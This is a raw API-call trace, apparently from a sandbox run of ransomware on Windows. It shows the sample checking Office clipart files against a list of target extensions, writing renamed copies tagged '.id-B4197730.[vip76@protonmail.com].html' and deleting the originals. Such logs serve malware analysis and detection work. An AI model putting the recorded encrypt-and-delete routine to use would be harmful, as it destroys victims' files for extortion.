	[0084.302] lstrlenW (lpString=".jpg") returned 4
	[0084.302] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68
	[0084.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68
	[0084.302] lstrlenW (lpString=".doc") returned 4
	[0084.302] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.302] lstrlenW (lpString=".docx") returned 5
	[0084.302] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.302] lstrlenW (lpString=".pdf") returned 4
	[0084.302] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.302] lstrlenW (lpString=".xls") returned 4
	[0084.302] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.303] lstrlenW (lpString=".xlsx") returned 5
	[0084.303] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.303] lstrlenW (lpString=".ppt") returned 4
	[0084.303] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68
	[0084.303] lstrlenW (lpString=".zip") returned 4
	[0084.303] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.303] lstrlenW (lpString=".rar") returned 4
	[0084.303] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.303] lstrlenW (lpString=".bz2") returned 4
	[0084.303] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.303] lstrlenW (lpString=".7z") returned 3
	[0084.303] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68
	[0084.303] lstrlenW (lpString=".dbf") returned 4
	[0084.303] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68
	[0084.303] lstrlenW (lpString=".1cd") returned 4
	[0084.303] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68
	[0084.303] lstrlenW (lpString=".jpg") returned 4
	[0084.303] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.303] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0084.303] lstrlenW (lpString="DD01157_.WMF") returned 12
	[0084.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0084.304] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=3588) returned 1
	[0084.304] CloseHandle (hObject=0x384) returned 1
	[0084.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf")) returned 0x220
	[0084.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0084.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0084.304] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.304] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0084.305] GetLastError () returned 0x0
	[0084.305] ReadFile (in: hFile=0x384, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0xe04, lpOverlapped=0x0) returned 1
	[0084.306] WriteFile (in: hFile=0x37c, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xe10, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xe10, lpOverlapped=0x0) returned 1
	[0084.307] ReadFile (in: hFile=0x384, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.307] WriteFile (in: hFile=0x37c, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.307] SetEndOfFile (hFile=0x37c) returned 1
	[0084.307] CloseHandle (hObject=0x37c) returned 1
	[0084.307] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.307] SetEndOfFile (hFile=0x384) returned 1
	[0084.308] CloseHandle (hObject=0x384) returned 1
	[0084.308] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0084.308] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf")) returned 1
	[0084.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68
	[0084.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68
	[0084.309] lstrlenW (lpString=".doc") returned 4
	[0084.309] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.309] lstrlenW (lpString=".docx") returned 5
	[0084.309] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.309] lstrlenW (lpString=".pdf") returned 4
	[0084.309] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.309] lstrlenW (lpString=".xls") returned 4
	[0084.309] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.309] lstrlenW (lpString=".xlsx") returned 5
	[0084.309] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.309] lstrlenW (lpString=".ppt") returned 4
	[0084.309] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68
	[0084.309] lstrlenW (lpString=".zip") returned 4
	[0084.309] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.309] lstrlenW (lpString=".rar") returned 4
	[0084.309] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.309] lstrlenW (lpString=".bz2") returned 4
	[0084.309] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.309] lstrlenW (lpString=".7z") returned 3
	[0084.309] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68
	[0084.309] lstrlenW (lpString=".dbf") returned 4
	[0084.309] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68
	[0084.309] lstrlenW (lpString=".1cd") returned 4
	[0084.309] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68
	[0084.309] lstrlenW (lpString=".jpg") returned 4
	[0084.309] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68
	[0084.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68
	[0084.310] lstrlenW (lpString=".doc") returned 4
	[0084.310] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.310] lstrlenW (lpString=".docx") returned 5
	[0084.310] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.310] lstrlenW (lpString=".pdf") returned 4
	[0084.310] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.310] lstrlenW (lpString=".xls") returned 4
	[0084.310] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.310] lstrlenW (lpString=".xlsx") returned 5
	[0084.310] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.310] lstrlenW (lpString=".ppt") returned 4
	[0084.310] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68
	[0084.310] lstrlenW (lpString=".zip") returned 4
	[0084.310] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.310] lstrlenW (lpString=".rar") returned 4
	[0084.310] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.310] lstrlenW (lpString=".bz2") returned 4
	[0084.310] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.310] lstrlenW (lpString=".7z") returned 3
	[0084.310] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68
	[0084.310] lstrlenW (lpString=".dbf") returned 4
	[0084.310] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68
	[0084.310] lstrlenW (lpString=".1cd") returned 4
	[0084.310] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68
	[0084.310] lstrlenW (lpString=".jpg") returned 4
	[0084.310] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.311] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0084.311] lstrlenW (lpString="DD01160_.WMF") returned 12
	[0084.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0084.311] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=2228) returned 1
	[0084.311] CloseHandle (hObject=0x384) returned 1
	[0084.311] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf")) returned 0x220
	[0084.312] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0084.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0084.312] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.312] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0084.312] GetLastError () returned 0x0
	[0084.312] ReadFile (in: hFile=0x384, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x8b4, lpOverlapped=0x0) returned 1
	[0084.314] WriteFile (in: hFile=0x37c, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x8c0, lpOverlapped=0x0) returned 1
	[0084.315] ReadFile (in: hFile=0x384, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.315] WriteFile (in: hFile=0x37c, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.315] SetEndOfFile (hFile=0x37c) returned 1
	[0084.315] CloseHandle (hObject=0x37c) returned 1
	[0084.315] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.315] SetEndOfFile (hFile=0x384) returned 1
	[0084.316] CloseHandle (hObject=0x384) returned 1
	[0084.316] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0084.316] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf")) returned 1
	[0084.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68
	[0084.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68
	[0084.317] lstrlenW (lpString=".doc") returned 4
	[0084.317] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.317] lstrlenW (lpString=".docx") returned 5
	[0084.317] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.317] lstrlenW (lpString=".pdf") returned 4
	[0084.317] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.317] lstrlenW (lpString=".xls") returned 4
	[0084.317] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.317] lstrlenW (lpString=".xlsx") returned 5
	[0084.317] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.317] lstrlenW (lpString=".ppt") returned 4
	[0084.317] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68
	[0084.317] lstrlenW (lpString=".zip") returned 4
	[0084.317] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.317] lstrlenW (lpString=".rar") returned 4
	[0084.317] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.317] lstrlenW (lpString=".bz2") returned 4
	[0084.317] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.317] lstrlenW (lpString=".7z") returned 3
	[0084.317] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68
	[0084.317] lstrlenW (lpString=".dbf") returned 4
	[0084.317] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68
	[0084.317] lstrlenW (lpString=".1cd") returned 4
	[0084.317] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68
	[0084.318] lstrlenW (lpString=".jpg") returned 4
	[0084.318] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68
	[0084.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68
	[0084.318] lstrlenW (lpString=".doc") returned 4
	[0084.318] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.318] lstrlenW (lpString=".docx") returned 5
	[0084.318] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.318] lstrlenW (lpString=".pdf") returned 4
	[0084.318] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.318] lstrlenW (lpString=".xls") returned 4
	[0084.318] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.318] lstrlenW (lpString=".xlsx") returned 5
	[0084.318] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.318] lstrlenW (lpString=".ppt") returned 4
	[0084.318] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68
	[0084.318] lstrlenW (lpString=".zip") returned 4
	[0084.318] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.318] lstrlenW (lpString=".rar") returned 4
	[0084.318] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.318] lstrlenW (lpString=".bz2") returned 4
	[0084.318] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.318] lstrlenW (lpString=".7z") returned 3
	[0084.318] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68
	[0084.318] lstrlenW (lpString=".dbf") returned 4
	[0084.318] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68
	[0084.318] lstrlenW (lpString=".1cd") returned 4
	[0084.318] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68
	[0084.318] lstrlenW (lpString=".jpg") returned 4
	[0084.319] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.319] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0084.319] lstrlenW (lpString="DD01162_.WMF") returned 12
	[0084.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0084.319] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=2300) returned 1
	[0084.319] CloseHandle (hObject=0x384) returned 1
	[0084.319] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf")) returned 0x220
	[0084.319] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0084.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0084.319] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.319] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0084.320] GetLastError () returned 0x0
	[0084.320] ReadFile (in: hFile=0x384, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x8fc, lpOverlapped=0x0) returned 1
	[0084.321] WriteFile (in: hFile=0x37c, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x900, lpOverlapped=0x0) returned 1
	[0084.322] ReadFile (in: hFile=0x384, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.322] WriteFile (in: hFile=0x37c, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.322] SetEndOfFile (hFile=0x37c) returned 1
	[0084.322] CloseHandle (hObject=0x37c) returned 1
	[0084.322] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.323] SetEndOfFile (hFile=0x384) returned 1
	[0084.323] CloseHandle (hObject=0x384) returned 1
	[0084.323] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0084.324] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf")) returned 1
	[0084.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68
	[0084.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68
	[0084.324] lstrlenW (lpString=".doc") returned 4
	[0084.324] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.324] lstrlenW (lpString=".docx") returned 5
	[0084.324] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.324] lstrlenW (lpString=".pdf") returned 4
	[0084.324] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.324] lstrlenW (lpString=".xls") returned 4
	[0084.324] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.324] lstrlenW (lpString=".xlsx") returned 5
	[0084.324] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.324] lstrlenW (lpString=".ppt") returned 4
	[0084.324] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68
	[0084.324] lstrlenW (lpString=".zip") returned 4
	[0084.324] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.324] lstrlenW (lpString=".rar") returned 4
	[0084.324] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.324] lstrlenW (lpString=".bz2") returned 4
	[0084.324] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.324] lstrlenW (lpString=".7z") returned 3
	[0084.324] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68
	[0084.324] lstrlenW (lpString=".dbf") returned 4
	[0084.324] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68
	[0084.325] lstrlenW (lpString=".1cd") returned 4
	[0084.325] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68
	[0084.325] lstrlenW (lpString=".jpg") returned 4
	[0084.325] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
